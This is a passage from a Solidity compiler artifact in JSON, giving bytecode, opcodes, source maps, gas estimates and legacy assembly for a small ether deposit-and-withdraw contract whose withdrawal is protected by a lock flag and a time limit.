0xdf 0xc0 SWAP14 0x26 0xbc STATICCALL PUSH31 0x2E92FD6B94A85FFA55B70602BDB42ACC002900000000000000000000000000 ", | |
"sourceMap": "26:1030:0:-;;;114:5;91:28;;;;;;;;;;;;;;;;;;;;159:7;125:41;;26:1030;8:9:-1;5:2;;;30:1;27;20:12;5:2;26:1030:0;;;;;;;" | |
}, | |
"deployedBytecode": { | |
"linkReferences": {}, | |
"object": "60806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f6578063e2c41dbc1461014d578063e49c10e814610157575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610376565b6040518082815260200191505060405180910390f35b61015561038e565b005b34801561016357600080fd5b5061016c6103dd565b6040518082815260200191505060405180910390f35b60026020528060005260406000206000915090505481565b6000809054906101000a900460ff161515156101b557600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561020357600080fd5b600154811115151561021457600080fd5b62093a80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561026757600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060016000806101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610358573d6000803e3d6000fd5b5060008060006101000a81548160ff02191690831515021790555050565b60036020528060005260406000206000915090505481565b34600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550565b600154815600a165627a7a72305820ea5405b9eed5268991dfc09d26bcfa7e2e92fd6b94a85ffa55b70602bdb42acc0029", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x6D JUMPI PUSH1 0x0 CALLDATALOAD PUSH29 0x100000000000000000000000000000000000000000000000000000000 SWAP1 DIV PUSH4 0xFFFFFFFF AND DUP1 PUSH4 0x1031EC31 EQ PUSH2 0x72 JUMPI DUP1 PUSH4 0x155DD5EE EQ PUSH2 0xC9 JUMPI DUP1 PUSH4 0x27E235E3 EQ PUSH2 0xF6 JUMPI DUP1 PUSH4 0xE2C41DBC EQ PUSH2 0x14D JUMPI DUP1 PUSH4 0xE49C10E8 EQ PUSH2 0x157 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x7E JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xB3 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x182 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0xD5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0xF4 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x19A JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x102 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x137 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 DUP1 DUP1 CALLDATALOAD PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND SWAP1 PUSH1 0x20 ADD SWAP1 SWAP3 SWAP2 SWAP1 POP POP POP PUSH2 0x376 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x155 PUSH2 0x38E JUMP JUMPDEST STOP JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x163 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x16C PUSH2 0x3DD JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 DUP3 DUP2 MSTORE PUSH1 0x20 ADD SWAP2 POP POP PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH1 0x2 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST PUSH1 0x0 DUP1 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH1 0xFF AND ISZERO ISZERO ISZERO PUSH2 0x1B5 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x3 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD LT ISZERO ISZERO ISZERO PUSH2 0x203 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x1 SLOAD DUP2 GT ISZERO ISZERO ISZERO PUSH2 0x214 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH3 0x93A80 PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 SLOAD ADD TIMESTAMP LT ISZERO ISZERO ISZERO PUSH2 0x267 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST DUP1 PUSH1 0x3 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD SUB SWAP3 POP POP DUP2 SWAP1 SSTORE POP TIMESTAMP PUSH1 0x2 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 DUP2 SWAP1 SSTORE POP PUSH1 0x1 PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH1 0xFF MUL NOT AND SWAP1 DUP4 ISZERO ISZERO MUL OR SWAP1 SSTORE POP CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH2 0x8FC DUP3 SWAP1 DUP2 ISZERO MUL SWAP1 PUSH1 0x40 MLOAD PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP9 DUP9 CALL SWAP4 POP POP POP POP ISZERO DUP1 ISZERO PUSH2 0x358 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP PUSH1 0x0 DUP1 PUSH1 0x0 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH1 0xFF MUL NOT AND SWAP1 DUP4 ISZERO ISZERO MUL OR SWAP1 SSTORE POP POP JUMP JUMPDEST PUSH1 0x3 PUSH1 0x20 MSTORE DUP1 PUSH1 0x0 MSTORE PUSH1 0x40 PUSH1 0x0 KECCAK256 PUSH1 0x0 SWAP2 POP SWAP1 POP SLOAD DUP2 JUMP JUMPDEST CALLVALUE PUSH1 0x3 PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND DUP2 MSTORE PUSH1 0x20 ADD SWAP1 DUP2 MSTORE PUSH1 0x20 ADD PUSH1 0x0 KECCAK256 PUSH1 0x0 DUP3 DUP3 SLOAD ADD SWAP3 POP POP DUP2 SWAP1 SSTORE POP JUMP JUMPDEST PUSH1 0x1 SLOAD DUP2 JUMP STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 0xea SLOAD SDIV 0xb9 0xee 0xd5 0x26 DUP10 SWAP2 0xdf 0xc0 SWAP14 0x26 0xbc STATICCALL PUSH31 0x2E92FD6B94A85FFA55B70602BDB42ACC002900000000000000000000000000 ", | |
"sourceMap": "26:1030:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;172:51;;8:9:-1;5:2;;;30:1;27;20:12;5:2;172:51:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;382:672;;8:9:-1;5:2;;;30:1;27;20:12;5:2;382:672:0;;;;;;;;;;;;;;;;;;;;;;;;;;229:43;;8:9:-1;5:2;;;30:1;27;20:12;5:2;229:43:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;283:89;;;;;;125:41;;8:9:-1;5:2;;;30:1;27;20:12;5:2;125:41:0;;;;;;;;;;;;;;;;;;;;;;;172:51;;;;;;;;;;;;;;;;;:::o;382:672::-;456:15;;;;;;;;;;;455:16;447:25;;;;;;;;514:14;490:8;:20;499:10;490:20;;;;;;;;;;;;;;;;:38;;482:47;;;;;;;;598:16;;580:14;:34;;572:43;;;;;;;;718:7;687:16;:28;704:10;687:28;;;;;;;;;;;;;;;;:38;680:3;:45;;672:54;;;;;;;;760:14;736:8;:20;745:10;736:20;;;;;;;;;;;;;;;;:38;;;;;;;;;;;815:3;784:16;:28;801:10;784:28;;;;;;;;;;;;;;;:34;;;;912:4;894:15;;:22;;;;;;;;;;;;;;;;;;926:10;:19;;:35;946:14;926:35;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;926:35:0;1042:5;1024:15;;:23;;;;;;;;;;;;;;;;;;382:672;:::o;229:43::-;;;;;;;;;;;;;;;;;:::o;283:89::-;356:9;332:8;:20;341:10;332:20;;;;;;;;;;;;;;;;:33;;;;;;;;;;;283:89::o;125:41::-;;;;:::o" | |
}, | |
"gasEstimates": { | |
"creation": { | |
"codeDepositCost": "207800", | |
"executionCost": "40524", | |
"totalCost": "248324" | |
}, | |
"external": { | |
"balances(address)": "576", | |
"depositFunds()": "20496", | |
"lastWithdrawTime(address)": "532", | |
"withdrawFunds(uint256)": "infinite", | |
"withdrawwalLimit()": "482" | |
} | |
}, | |
"legacyAssembly": { | |
".code": [ | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH", | |
"value": "80" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 114, | |
"end": 119, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "PUSH", | |
"value": "100" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "EXP" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "SLOAD" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "PUSH", | |
"value": "FF" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "MUL" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "NOT" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "AND" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "DUP4" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "MUL" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "OR" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 91, | |
"end": 119, | |
"name": "POP" | |
}, | |
{ | |
"begin": 159, | |
"end": 166, | |
"name": "PUSH", | |
"value": "DE0B6B3A7640000" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "PUSH", | |
"value": "1" | |
}, | |
{ | |
"begin": 125, | |
"end": 166, | |
"name": "SSTORE" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "POP" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH #[$]", | |
"value": "0000000000000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH [$]", | |
"value": "0000000000000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "CODECOPY" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "RETURN" | |
} | |
], | |
".data": { | |
"0": { | |
".auxdata": "a165627a7a72305820ea5405b9eed5268991dfc09d26bcfa7e2e92fd6b94a85ffa55b70602bdb42acc0029", | |
".code": [ | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH", | |
"value": "80" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "LT" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH [tag]", | |
"value": "1" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH", | |
"value": "100000000000000000000000000000000000000000000000000000000" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "DIV" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH", | |
"value": "FFFFFFFF" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "AND" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH", | |
"value": "1031EC31" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH [tag]", | |
"value": "2" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH", | |
"value": "155DD5EE" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH [tag]", | |
"value": "3" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH", | |
"value": "27E235E3" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH [tag]", | |
"value": "4" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH", | |
"value": "E2C41DBC" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH [tag]", | |
"value": "5" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH", | |
"value": "E49C10E8" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "EQ" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH [tag]", | |
"value": "6" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "tag", | |
"value": "1" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 26, | |
"end": 1056, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "tag", | |
"value": "2" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "7" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "7" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "POP" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "PUSH [tag]", | |
"value": "8" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "PUSH", | |
"value": "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "AND" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "POP" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "POP" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "POP" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "PUSH [tag]", | |
"value": "9" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "tag", | |
"value": "8" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "DUP3" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "MSTORE" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "POP" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "POP" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "PUSH", | |
"value": "40" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "MLOAD" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 172, | |
"end": 223, | |
"name": "RETURN" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "tag", | |
"value": "3" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "PUSH [tag]", | |
"value": "10" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPI" | |
}, | |
{ | |
"begin": 30, | |
"end": 31, | |
"name": "PUSH", | |
"value": "0" | |
}, | |
{ | |
"begin": 27, | |
"end": 28, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 20, | |
"end": 32, | |
"name": "REVERT" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "tag", | |
"value": "10" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "POP" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "PUSH [tag]", | |
"value": "11" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "PUSH", | |
"value": "4" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "CALLDATASIZE" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "SUB" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "DUP2" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "CALLDATALOAD" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "PUSH", | |
"value": "20" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "ADD" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "SWAP3" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "SWAP2" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "SWAP1" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "POP" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "POP" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "POP" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "PUSH [tag]", | |
"value": "12" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "JUMP" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "tag", | |
"value": "11" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 382, | |
"end": 1054, | |
"name": "STOP" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "tag", | |
"value": "4" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "JUMPDEST" | |
}, | |
{ | |
"begin": 229, | |
"end": 272, | |
"name": "CALLVALUE" | |
}, | |
{ | |
"begin": 8, | |
"end": 17, | |
"name": "DUP1" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
"name": "ISZERO" | |
}, | |
{ | |
"begin": 5, | |
"end": 7, | |
